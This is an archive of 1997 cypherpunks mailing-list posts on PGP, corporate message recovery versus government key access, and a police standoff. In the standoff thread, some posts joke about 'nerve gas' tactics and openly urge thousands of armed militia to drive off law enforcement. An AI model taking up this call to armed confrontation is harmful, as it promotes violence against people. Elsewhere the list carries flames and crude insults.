MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:10 pm -0800 10/28/97, wabe wrote:
>X-Mailer: Microsoft Outlook Express 4.71.1712.3
[elided]
>So without the obligatory flames for using a microshaft product,
>can anyone tell me if they have PGP 5.0 working for the
>newest version of Outlook? (And how?)

Sure, Wabe, just not for Outlook Express, which doesn't support plugins of
any type.

We do hope, though (with MS help), to have PGP (v6) built into Outlook
Express v5.0 sometime next Spring (as well as into Outlook).

   dave


-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5
Comment: It's email, so press hard - you're making lots of copies!

iQCVAwUBNFbNnaHBOF9KrwDlAQFPowQAwOAbA3BZPiJrCupmknLXNkWjWksoEcsc
IG02OF+yy+B/3/RBo+rTrPOHCzAr/5zNJzNlgbE7uVZ2a8zRnN+veIVbAeTRnFH6
9971mloCdX2UmH2JAIclQ2zYvWDETgClLz+FNXTpKgD5bHtkCl4Omv5kUJ2dPVWY
1zXID2T0sfw=
=TNs2
-----END PGP SIGNATURE-----


____________________________________________________________________
My new book on Diplomacy: "Don't Make Me Come Over There, Adam Gak!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 12:20:30 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: Re: Infastructure Protection and Paranoia
In-Reply-To: <Pine.OSF.3.96.971028162119.2676B-100000@fly.HiWAAY.net>
Message-ID: <3456B357.34BE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Randall Farmer wrote:
> TruthMonger writed:
> >   The world is threatened by the DOD...
> 
> Screwballs with nukes they may be, but their job is still to defend the U.S.;
> you'd think you could at least trust them to keep the power/water/phone lines
> from being a target for an attack.


Far be it from me to point any fingers, but...
_
 )
 )_______
  _______) <Government agent procateurs>
 )
_)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 29 Oct 1997 12:37:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <506b11017bc6059ad972be3d6a7eeaa4@squirrel>
Message-ID: <199710290424.XAA02264@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <506b11017bc6059ad972be3d6a7eeaa4@squirrel>, on 10/29/97 
   at 03:55 AM, Secret Squirrel <nobody@secret.squirrel.owl.de> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>>Attila T. Hun <attila@hun.org> writes:
>>> Mrs.  Allen, 51, has attracted the sympathy of many neighbors, and
>>> her case has become a rallying point for those who compare it to
>>> Ruby Ridge and Waco as an example of overzealous law enforcement.
>>> 
>>>     she needs more than sympathy, she needs some action!
>>
>>I'm wondering ... surely all those militia types are watching this
>>case -- wouldn't it be a real coo to intervene and rescue Mrs Allen
>>:-)
>>
>>Let's talk tactics ... how would you disable the Feds without killing
>>Mrs Allen -- helicopter and nerve gas -- well organised get away?

>Question: Are the Feds involved, or is it just the State of Illinois? If
>the Feds really are involved, what possible justification do they have?

>The best way to help Mrs. Allen is to find ways for her to communicate
>with the civilized world.

>Maybe use a model airplane deliver a CB?  Or a spread spectrum radio?

What is needed is several thousand well armed militia to go down there and
send the JackBooted thugs packing. I am willing to donate my time to such
a worthy cause.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFa6B49Co1n+aLhhAQFrRwQAr7a+kE6VCz6D2tUQ8nECtw4nZJIVlOzL
DIeoRWZb7vdbh5+Kqle/cOL7ZSPzMByvAFleoHPHuk7c0+ZpXzOTZUtsrztYHa+q
xz505L9h54O4OIVeaSN3elxonuYlUHzbsDRO/GEN58LDWPCJ/yYspBW5bq/j31IZ
bdoPL2vS0KE=
=s22q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 06:57:57 +0800
To: cypherpunks@toad.com
Subject: Kids...don't try this at home! / Re: Roby latest
Message-ID: <199710282132.WAA09810@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jeff Barber wrote:
> See http://www.sj-r.com/roby.html for the latest.

> My favorite excerpt:
>
> > Illinois State Police feared that any progress in getting Allen - who's
> > suspected to suffer from paranoia, delusions and suicidal thoughts - to
> > exit on her own may have been undone. On Sunday, troopers broke out most
> > of the remaining windows in Allen's house, tossed nine pepper-spray
> > grenades inside and sent a police dog in to subdue Allen.

I know what you're thinking, kid.
You're thinking, "I'm going to try doing this on Halloween, and if I
get caught, I'm going to tell mom and dad I was checking on the old
lady's health."

Forget it. You don't have a badge, and you're going to get your
bottom tanned.

KidMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 29 Oct 1997 07:14:50 +0800
To: attila@primenet.com
Subject: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <3454BF94.7ED3@hun.org>
Message-ID: <199710282249.WAA02819@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Attila T. Hun <attila@hun.org> writes:
> Mrs.  Allen, 51, has attracted the sympathy of many neighbors, and
> her case has become a rallying point for those who compare it to
> Ruby Ridge and Waco as an example of overzealous law enforcement.
> 
>     she needs more than sympathy, she needs some action!

I'm wondering ... surely all those militia types are watching this
case -- wouldn't it be a real coo to intervene and rescue Mrs Allen
:-)

Let's talk tactics ... how would you disable the Feds without killing
Mrs Allen -- helicopter and nerve gas -- well organised get away?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 29 Oct 1997 14:56:50 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: CMR versus GAK?
In-Reply-To: <1.5.4.32.19971027124538.006add84@pop.pipeline.com>
Message-ID: <3.0.3.32.19971028225014.00691d48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:03 AM 10/27/1997 -0800, Kent Crispin wrote:
>Implicit you make the notion there is no merit.  But experience is a 
>harsh mistress -- employees do steal.  This is not fiction, but fact.

Sure.  The securities industry is especially concerned about the problem,
since there are many combinations of people who can rip of the others;
there's enough money floating around fast enough that anybody even
marginally dishonest can make lots of money quickly,
just as they can make money by arbitraging other market inefficiencies.

- broker and customer conspire to rip off the house
- broker and house conspire to rip off customer
- broker and insider conspire to rip off insider's company
- broker and insiders conspire to rip off outsiders
- broker leaves for another house, taking customers
- broker, customer, and house conspire to avoid taxes
- broker and customer conspire to otherwise hide money
- broker and customer conspire to transfer money to another customer
- broker and house conspire to deceive auditors

Some of these get controlled by the house to preserve its money;
some get controlled by regulators trying to "help" consumers,
some get controlled by the house because too many disgruntled customers
cuts into your reputation capital.  (Insider trading is especially like this.)
For the most part, this gets handled by extensive recordkeeping and auditing,
and the value of CAK/CMR is diluted here because it's mostly providing
access to information that was already being provided anyway.
You're better off using the PGP SMTP filters to _require_ encryption....
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 29 Oct 1997 07:09:05 +0800
To: shamrock@cypherpunks.to
Subject: Re: Source code obfuscation
In-Reply-To: <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710282253.WAA02826@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> Is anyone familiar with tools that can be used to obscure source
> code so that it builds, but no longer contains comments or useful
> variable or procedure names?

Do a search on ANDF -- not sure of the acronym's meaning anymore, but
I think there is a GNU version, so perhaps there is a working system
that can be had.

I think it's for architecturally independent distribution -- "compile"
or mangle your source with the ANDF system, and then finish the
compile (compile the garbled C code) on the target system.

(Odd thing for GNU to get involved in what with their source
availability theme.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 29 Oct 1997 13:13:45 +0800
To: graycastle@ppw.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <3456BE4E.3B3D@ppw.net>
Message-ID: <199710290507.AAA02702@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3456BE4E.3B3D@ppw.net>, on 10/29/97 
   at 01:40 PM, graycastle@ppw.net said:

>> >>Let's talk tactics ... how would you disable the Feds without killing
>> >>Mrs Allen -- helicopter and nerve gas -- well organised get away?
>> 
>> >Question: Are the Feds involved, or is it just the State of Illinois? If
>> >the Feds really are involved, what possible justification do they have?
>> 
>> >The best way to help Mrs. Allen is to find ways for her to communicate
>> >with the civilized world.
>> 
>> >Maybe use a model airplane deliver a CB?  Or a spread spectrum radio?
>> 
>> What is needed is several thousand well armed militia to go down there and
>> send the JackBooted thugs packing. I am willing to donate my time to such
>> a worthy cause.

>that is the type of answer that gets even more people killed. what good
>is developing privacy software if you are going to march out and invite
>uncle sam to put a bullet in you?

>i go with the model plane.

Well just exactly how do you think these types of atrocities are going to
be stopped?? the LEA's in this country are going to continue to bully the
citizens around until we band together and let them know that we will no
longer tolerate such behavior.

"It is better to die on one's feet than to live on one's knees"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFbD649Co1n+aLhhAQHFTwP/aRuyaV2h5G051jIcf9yDTokWUn7KSD1c
pGxnz2us6ljC3tFVdVCqSvdTy5/ofbHafbT2eYz83X8EVsz/zNZNnne1LPhWGy6Q
vH9fVeMCK7qwPcpeOYvEm6cVhJzuDof+m1dwolB/2TKCTe3nvx0FrJq+PCS2ojxU
4tQhpOhg4AQ=
=JK05
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 29 Oct 1997 07:08:52 +0800
To: maxson1@MARSHALL.EDU
Subject: Re: PGP and GMR
In-Reply-To: <3.0.3.32.19971028112812.006bc3fc@hobbit.marshall.edu>
Message-ID: <199710282301.XAA02835@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Matthew Maxson <maxson1@MARSHALL.EDU> writes:
> I am new to this list and cryptogrophy, and have a few questions.
> 1)what is CMR?  

The CMR acronym stands for "Corporate Message Recovery".

> 2) how does it relate to PGP?  

CMR is the corporate disaster recovery mechanism built in to pgp5.5
(and some support for it in pgp5.0).

> 3) what is GAK?  

Government Access to Keys.  Governments seem to have an unhealthy
desire to obtain your communications keys.  They use lots of slick PR
terms to make their snooping urges seem less obnoxious -- things like
"clipper", "key escrow", "key recovery", etc.

> I have gathered that it is a back door that will encrypt all messags
> to the goverment (or some other official body) as well as encrypting
> it to the recipiant.

CMR doesn't do it.  Why people are getting upset is that it could be
used for this though.

> Also, I assume that PGP 5.X has added this to their encryption
> scheme to allow companies to read employee e-mail.

Yes, CMR is to allow companies to recover email in case of employee
forgetting passphrase, or is on holiday, or leaves on bad terms,
or dies unexpectedly.

> Does PGP 2.6.2 have this back door into it?  tnx for your help. 

PGP2.x doesn't have CMR in it.  You don't have to use the CMR feature
on your own key with pgp5.x.  The argument is more about what it could
be used for by government in the future.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Wed, 29 Oct 1997 12:37:25 +0800
To: "wabe" <wabe@smart.net>
Subject: PGP and Outlook
Message-ID: <01bce439$c1400b80$af7f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain



So without the obligatory flames for using a microshaft product,
can anyone tell me if they have PGP 5.0 working for the
newest version of Outlook? (And how?)

_______________________________________
-wabe



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 13:42:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..) (fwd)
Message-ID: <199710290525.XAA11419@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Tue, 28 Oct 97 23:01:19 -0600
> Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)

> "It is better to die on one's feet than to live on one's knees"

A true idiots answer.

Paraphrased:

Your job isn't to die for your country, your job is to make that other poor
son-of-a-bitch die for his.

                                                Gen. George S. Patton

Remember, dead men NEVER won a war.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 14:31:14 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Orthogonal (fwd)
Message-ID: <199710290529.XAA11468@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 29 Oct 1997 05:05:07 +0100 (MET)
> From: Anonymous <nobody@REPLAY.COM>
> Re: Orthogonal
> 
> Oxford English Dictionary Word and Language Service
> 
> Do you have a query about words, their
> origin, meaning, use, spelling, pronunciation,
> or any other aspect of the English language?
> Then write to OWLS at Oxford University Press,
> Walton Street, Oxford OX2 6DP, England.
> 
> All queries willl be answered using the full 
> resources of the Oxford Dictionary Department.

Like the rest of the mentaly mastubatory on here, you missed the *entire*
point of my original question.

How did the word get there, NOT what the word means. I KNOW what and how
to use the word.

Some of you people are fucking worthless for anything other than baiting.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |                   If the foo shits, wear it.                       |
   |                                                                    |
   |                                    Killroy                         |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 13:44:09 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: I don't need no steenking badge...but I got one anyway (fwd)
Message-ID: <199710290531.XAA11513@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 29 Oct 1997 04:48:17 +0100 (MET)
> Subject: Re: I don't need no steenking badge...but I got one anyway
> From: nobody@REPLAY.COM (Anonymous)

>   Why do the average citizens put up with behavior from legislators and
> law enforcement agents that they would not tolerate in their children?

I'll tell you, course I won't be lucky enough your head will then explode
but I can wish....

It's called *trust* in a ideal.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 29 Oct 1997 16:24:51 +0800
To: cypherpunks@toad.com
Subject: Re: Infastructure Protection and Paranoia
In-Reply-To: <3.0.3.32.19971026170732.006bf4fc@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19971028233541.006e8d74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:38 AM 10/28/1997 -0600, some TruthMonger tentacle wrote:
>stewarts@ix.netcom.com wrote:
>> At 03:41 PM 10/21/1997 +0100, Sandy J. Wong wrote on Cyberia-L
>> >Buried in Tuesday's Wall Street Journal was a small three-paragraph article
>> >mentioning that the U.S. may be vulnerable to a cyberspace version of the
>> >Pearl Harbor attack.
>
>  Why don't you phone up NSA and tell them that you made a Xerox (TM)
>copy of the InfoWar plans left overnight at the bar/lounge at the 
>Holiday Inn in Albuquerque last week?
>  Let me know how it turns out for you...

At this year's CFP one evening we were playing the game of
"You want to cause maximum disruption to the US infrastructure,
and you've got 100 small explosive devices.  Where do you put them?"
Much creativity was displayed and substantial amounts of testosterone reveled in,
and the overall conclusion was that we'd be in deep trouble if
anybody even vaguely competent wanted to monkeywrench the system.

After that, we played the Russell-Brand-like game of 
"Destruction is easy.  What would you do if you wanted to create
the most joy in the world instead."  That was harder :-)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Wed, 29 Oct 1997 15:53:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CMR versus GAK?
In-Reply-To: <1.5.4.32.19971027124538.006add84@pop.pipeline.com>
Message-ID: <19971028234553.48920@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Oct 28, 1997 at 10:50:14PM -0800, Bill Stewart wrote:
> At 07:03 AM 10/27/1997 -0800, Kent Crispin wrote:
> >Implicit you make the notion there is no merit.  But experience is a 
> >harsh mistress -- employees do steal.  This is not fiction, but fact.
> 
> Sure.  The securities industry is especially concerned about the problem,
> since there are many combinations of people who can rip of the others;
> there's enough money floating around fast enough that anybody even
> marginally dishonest can make lots of money quickly,
> just as they can make money by arbitraging other market inefficiencies.
> 
> - broker and customer conspire to rip off the house
> - broker and house conspire to rip off customer
> - broker and insider conspire to rip off insider's company
> - broker and insiders conspire to rip off outsiders
> - broker leaves for another house, taking customers
> - broker, customer, and house conspire to avoid taxes
> - broker and customer conspire to otherwise hide money
> - broker and customer conspire to transfer money to another customer
> - broker and house conspire to deceive auditors
>
> Some of these get controlled by the house to preserve its money;
> some get controlled by regulators trying to "help" consumers,
> some get controlled by the house because too many disgruntled customers
> cuts into your reputation capital.  (Insider trading is especially like this.)
> For the most part, this gets handled by extensive recordkeeping and auditing,
> and the value of CAK/CMR is diluted here because it's mostly providing
> access to information that was already being provided anyway.
> You're better off using the PGP SMTP filters to _require_ encryption....

Requiring encryption is a win, of course.  However, requiring 
encryption increases the value of CMR, because you have more 
opportunity for important records to be lost.  Especially as legally 
binding digital signatures become common -- you could have an actual 
contract, worth large sums of money, lost forever because someone 
forgot their passphrase.

My wife works for an "investment banking boutique" and my freedom to
invest is pretty tightly constrained.  I have first-hand experience
with the controls involving insider trading, and I have a fair
familiarity with the business practices there.  IMO you have it
exactly backward: the CMR model fits extremely well with the type of
controls I am familiar with.  Indeed it is true that there is
extensive record-keeping and auditing -- highly secure record-keeping;
secured conference rooms, careful procedures controlling who has what
information, etc.  CMR would fit right in as a valued addition, not a 
useless redundancy. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 29 Oct 1997 14:51:23 +0800
To: cypherpunks@toad.com
Subject: William Louis Pol J. Pot speaks...
Message-ID: <3456D99B.5C44@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED OCT. 27, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    Pol pot speaks

    On Oct. 16 Nate Thayer, an American correspondent for the weekly Far
Eastern Economic Review, conducted the first known interview since 1979
with Cambodian Communist Pol Pot. The New York Times printed excerpts
Oct.
23.
...
  From 1975 and 1979, as summarized by The New York Times, Pol Pot
"turned
his country into a vast labor camp, driving people from the cities and
forcing them to work in the fields in primitive conditions. In the name
of
a radical agrarian ideal, he slaughtered the middle class;
professionals,
monks, artists -- anyone with an education, anyone with glasses. ...
...
  That death toll would be equivalent to executing 75 million Americans.

  And what does the enfeebled mass murderer now have to say?

  "Our movement made mistakes," he graciously acknowledges
...
  "I came to carry out the struggle, not to kill people," Pol Pot still
insists. "We had no other choice" but to kill political opponents, he
argues. "Naturally, we had to defend ourselves." But "To say that
millions
died is too much. ... Even now, and you can look at me: am I a savage
person? My conscience is clear."
...
  And now, the sheer mundanity of this tired old man, confined to a hut
and
insisting there were "only hundreds of thousands."
...
  Even if the survivors in righteous indignation were to seize Pol Pot
and
tear him limb from limb, the central, nagging question would remain:

  "Even now, and you can look at me: am I a savage?"

  No. Pol Pot is not a savage.
...
  It took the massive organization of the modern nation-state -- the
division of labor with its apparent dilution of responsibility, welded
to
the pervasive notion that academy-trained government "experts" know
better
than the common folk how society should be organized, and have the right
to
enforce those plans by force -- to allow Lenin, Stalin, Hitler, Mao, and
Pol Pot to engage in "social engineering" on this scale.

  Nor were any of these characters stupid, or even uneducated. Pol Pot
studied under the best of France's socialist intellectuals.

  That is what finally must be acknowledged here. These mass murders
were
an exercise in the gratification of intellectual notions of how best to
"improve" society.

  A letter writer recently commented that it would be absurd to blame
Pol
Pot's socialist university professors in Paris for what he eventually
did.

  No, it is not. Ideas have consequences. The idea that the wise "social
engineers" of government have some right first to conscript our youth
into
mandatory uniform propaganda camps ("public schools"), then to begin
"licensing" our chosen jobs, then to seize huge hunks of our incomes to
fund these schemes (higher percentages from the rich, of course, as they
seek like Pol Pot to "level things"), and finally to catalog and track
our
employment as well as our cars, our guns, and our money, will eventually
lead by logical and inevitable progression to government deciding --
under
the guise of whatever "emergency" proves convenient -- who lives and who
dies.

  What thing did government ever find in its power, and not eventually
try?

  This is what is really being debated, when lonely voices cry out for
"less government meddling in our lives," while the statists now in power
(yes, including "conservative Republicans") respond, "Sure, sure, We
hear
you. Less government, right. But first we just need to institute this
new
nationally standardized drivers license with an electronically scannable
fingerprint, and a way to eavesdrop on all your phone calls and e-mail,
and
a new law to require your bank to report any cash transaction over
$2500.

  "But we'll get around to giving you that smaller, less intrusive
government you keep voting for, one of these days real soon. Just as
soon
as we outlaw eight more kinds of firearms before lunch. After all,
private
citizens aren't allowed to own firearms, at all, in really (start
ital)civilized(end ital) countries like Germany, Russia, China, and
Cambodia. Meantime, I'm afraid you'll have to get in line over there to
give us your urine sample. ..."

  But they don't mean for it ever to go as far as it went in Cambodia.
Honest.

  And if some of their armed henchmen (start ital)do(end ital)
occasionally
get carried away ... well, they can always claim "self-defense," or
quibble
about the numbers.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.
The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***


Vin Suprynowicz,   vin@lvrj.com

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in
peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand
that
feeds you. May your chains set lightly upon you; and may posterity
forget
that ye were our countrymen."    -- Samuel Adams





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 08:52:57 +0800
To: cypherpunks@toad.com
Subject: Use a Mac...Go to Jail / Re: Saving money
Message-ID: <199710290043.BAA07513@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian B. Riley wrote:
> Brian B. Riley --> http://www.macconnect.com/~brianbr
>   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>
> 
>  "...Those of you who turned your swords into plowshares will soon
>   find yourselves under the yokes of those of us who kept our swords..."
>       -- author unknown

I have always envisioned Mac users as sitting at their computers and
drawing flowers while they bounce a cute baby on their knee.

Lately, however, I have seen increasing militantism from a wide variety
of Mac users, from the quote above to "MacNuke DC" ranters.
Is this a 'Death of the '60's' thing, or a sign of 'Armageddon'?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Wed, 29 Oct 1997 15:58:46 +0800
To: ravage@ssz.com
Subject: Re: Orthogonal (fwd)
In-Reply-To: <199710290529.XAA11468@einstein.ssz.com>
Message-ID: <199710290728.CAA06565@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Jim Choate wrote:

: 
: How did the word get there, NOT what the word means. I KNOW what and how
: to use the word.

I agree with Jim, we have shown WHAT orthogonal means to the fields of
programming languages, computer theory, and software engineering.  The
question is WHY it was adopted.


: 
: Some of you people are fucking worthless for anything other than baiting.

Oh, come now, any human has many uses if you put your mind to it.
A cheap, renewable replacement for ballistic test gelatin, maybe? ;)

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFbloMHFI4kt/DQOEQJSAACeKYPsTTsdIkyWJmgBITIX+JBTGEUAoKfL
JyNmBdHK8OIM/qsNdzWA8T4q
=PB3c
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 09:48:15 +0800
To: cypherpunks@toad.com
Subject: Re: Another CDR member?
Message-ID: <199710290129.CAA15287@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
>
> Hi,
>
> I received a subscription today from cypherpunks@comsec.com.
>
> I believe there is another node on the CDR.

Do you think it is malignant?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 29 Oct 1997 20:27:58 +0800
To: Lucky Green <azur@netcom.com>
Subject: Re: Microsoft's CMR Keys
In-Reply-To: <v0310280db07bcfdb8ea7@[208.129.55.202]>
Message-ID: <3.0.3.32.19971029031645.007045cc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:14 AM 10/29/1997 +0100, Lucky Green wrote:
>On Tue, 28 Oct 1997, Steve Schear wrote:
>> 
>> OK, I'll bite.  Why don't we both escrow $25,000 in MT ecash with a trusted
>> 3rd party, say Lucky, while another party, say TCM judges whether your
>> private key matches MS' public key.  Winner take all.  All decsion by the
>> judge are final.

I really do have to remember to leave off my .signature when forging 
mail to the list :-)
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




